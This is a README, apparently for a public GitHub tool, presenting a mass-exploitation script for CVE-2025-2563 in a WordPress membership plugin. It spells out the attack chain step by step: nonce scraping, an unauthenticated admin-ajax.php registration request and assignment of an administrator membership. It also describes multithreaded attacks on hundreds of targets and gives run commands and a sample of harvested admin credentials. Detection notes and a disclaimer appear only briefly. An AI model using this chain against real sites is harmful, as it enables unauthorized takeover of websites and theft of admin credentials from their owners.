CVE-2025-2563 — User Registration & Membership | سلسلة كاملة لتصعيد صلاحيات المسؤول

  ██╗   ██╗███████╗███████╗██████╗       ██████╗ ███████╗ ██████╗ 
  ██║   ██║██╔════╝██╔════╝██╔══██╗     ██╔══██╗██╔════╝██╔════╝ 
  ██║   ██║███████╗█████╗  ██████╔╝     ██████╔╝█████╗  ██║  ███╗
  ██║   ██║╚════██║██╔══╝  ██╔══██╗     ██╔══██╗██╔══╝  ██║   ██║
  ╚██████╔╝███████║███████╗██║  ██║     ██║  ██║███████╗╚██████╔╝
   ╚═════╝ ╚══════╝╚══════╝╚═╝  ╚═╝     ╚═╝  ╚═╝╚══════╝ ╚═════╝ 

CVE-2025-2563 — تصعيد صلاحيات غير موثّق عبر إضافة User Registration & Membership لـ WordPress. استغلال متكامل: تسجيل مجهول ← إساءة استخدام nonce الخاص بالعضوية ← الاستيلاء على دور المسؤول.

ملخص الثغرة

سلسلة الهجوم

[1] Crawl target
       ↓
[2] Fetch /membership-pricing/ & /membership-registration/
       ↓
[3] Extract form_id, membership_id, security nonce, ur_frontend_form_nonce
       ↓
[4] POST to /wp-admin/admin-ajax.php
    action=user_registration_user_form_submit
    → Create arbitrary user account (unauthenticated)
       ↓
[5] Abuse membership JS nonce via ur_membership_frontend_localized_data
    → Assign administrator-level membership plan to new account
       ↓
[6] Verify admin access at /wp-admin/users.php & /wp-admin/plugin-install.php
       ↓
[7] Save credentials → NATA_admin.txt

الميزات

• استغلال جماعي — متعدد الخيوط، يعالج مئات الأهداف بالتوازي
• استخراج nonce ذكي — يجمع رموز الأمان من 3+ نقاط تسجيل تلقائيًا
• هجوم شامل بتجربة التوافيق — يجرب جميع توافيق form_id × membership_id × nonce المكتشفة
• التحقق من المسؤول — يؤكد الوصول الفعلي إلى wp-admin قبل وضع علامة نجاح
• مخرجات نظيفة — واجهة طرفية غنية بحالة مباشرة لكل هدف
• تسجيل تلقائي — تُحفظ بيانات الاعتماد في NATA_admin.txt والتسجيلات في reg.txt

المتطلبات

pip install requests rich

الاستخدام

# 1. Add targets to list.txt (one URL per line)
# 2. Run
python CVE-2025-2563.py

الإدخال: list.txt

https://target1.com
https://target2.com
https://target3.com

الإخراج: NATA_admin.txt

[2025-04-20 08:00:00] https://target.com/wp-login.php user:natxploit_abc pass:NATA_adminSA

ملفات الإخراج

الكشف (ملاحظات للمدافعين)

راقب ما يلي:

• POST متكرر إلى /wp-admin/admin-ajax.php مع action=user_registration_user_form_submit
• ظهور مفاجئ لمستخدمين جدد بصلاحيات مسؤول من تسجيل غير موثوق
• طلبات إلى /membership-registration/ تليها مباشرة إسناد عضوية عبر AJAX

التحديث: حدّث إضافة User Registration & Membership إلى الإصدار >= 4.1.2

إخلاء مسؤولية

تم إصدار هذه الأداة لأغراض اختبار الاختراق والبحث الأمني المصرح بها فقط. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام. احصل دائمًا على إذن كتابي صريح قبل الاختبار.

المؤلف

Natan Utama — github.com/dokter69 | تيليجرام: @ayasyanaro